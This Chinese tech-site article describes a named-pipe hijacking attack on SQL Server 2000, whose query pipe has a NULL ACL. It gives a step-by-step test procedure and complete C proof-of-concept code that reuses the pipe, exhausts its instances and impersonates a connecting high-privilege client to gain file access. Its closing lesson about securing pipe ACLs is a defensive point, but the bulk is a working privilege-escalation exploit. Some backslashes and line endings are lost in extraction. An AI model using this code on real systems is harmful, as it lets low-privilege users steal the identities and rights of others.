注册 | 登录
收藏 | 帮助
热门文章
编辑推荐
相关文章  
用MailSpy拦截局域网内危险的病毒
简单三步走堵死SQLServer注入漏洞
黑客攻破SQL服务器系统的十种方法
透明防火墙架设的完全攻略(brid
linux定时备份mysql数据库
qmail+vpopmail+sqwebmail的安装
qmail Vpopmail And sqwebmail H
qmail Vpopmail And sqwebmail H
qmail Vpopmail And sqwebmail H
qmail Vpopmail And sqwebmail H
您现在的位置: 顶尖设计 >> IT学院 >> 数据库 >> MS SQL >> 文章正文
SQL SERVER 2000通讯管道后复用劫持
作者:佚名  来源:不详  点击:  更新:2006-12-20
简介:
SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:
  默认实例:\.pipesqlquery
  命名实例:\.pipeMSSQL$instancenamesqlquery

  也可以通过1434 UDP进行查询获得这个管道名称
  但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对
这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务
来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然
后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是
实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先
命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计
  建立时的实例个数有关,如在我的测试下,\.pipesqlquery只需要建立1个接可以劫
持了,而\.pipelsass则需要4-5个之后才能劫持。不过\.pipelsass的ACL只能是管理
  如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例)
,然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道
的利用模拟函数获得发起者权限的老生常谈了:
  下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持
  环境:SQL SERVER 2000+SP2
  WIN2000 SERVER中文版+SP3
  测试流程:
  1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许
SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务
  2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可
  3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户
端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)
  4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证
  5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开
  6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用
户,然后可以打开先没权限打开的文件。
  当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较
少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很
好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预
测的难题,在编写服务器端管道应用的时候也必须小心。
  SQL SERVER 2000劫持代码   #include
  #include
  #include
  #include
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];
  DWORD dwNumber = 0;
  //先的测试,在GUEST权限下无法打开此文件
  fp = fopen("C:\test.txt","w");
  if(fp==NULL)
  printf("now you don't open file; ");
  //建立起一个同名管道,复用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\.\pipe\sql\query",
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGE|PIPE_WAIT,
  100,
  2048,
  2048,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf("error in createnamedpipe!code=%d ",ret);
  return;
  }
  //损耗掉其他正常实例
  if(WaitNamedPipe("\\.\pipe\sql\query",NMPWAIT_WAIT_FOREVER)==0)
  {
  printf("no this pipe ");
  return;
  }
  //可以调整个数,SQL SERVER只需要调整一个就可以了   for(i=0;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\.\pipe\sql\query",GENERIC_WRITE|
GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIB
  {
  printf("open pipe failed ");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);

  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然后等待连接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模拟连接进来的用户
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //获得用户信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s ", szUser);
  //然后再测试是否能打开这个文件,证明确实提升了权限
  fp = fopen("C:\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file ");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);   for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);
  return;
  }




  • 上一篇文章:
  • 下一篇文章:
  • 分享此文:该页面添加到 Mister Wong 添加到雅虎Yahoo!收藏 Add to:Del.icio.us Post to Furl Digg this 添加到Google书签 reddit spurl blogmarks 365Key 评论  收藏  分享  打印
     我来说两句
    姓名:       验证码:   
    主页: 
    评分: 1分 2分 3分 4分 5分
    本频道近期热评文章:
      关于我们 | 联系我们 | 站点地图 | 广告投放 | 友情链接 | 在线留言 | 版权申明
    版权所有 © 2004-2007 顶尖设计(bobd.cn)
    未经授权禁止转载,摘编,复制本站内容或建立镜像. 沪ICP备07504942号 
    网络110
    报警服务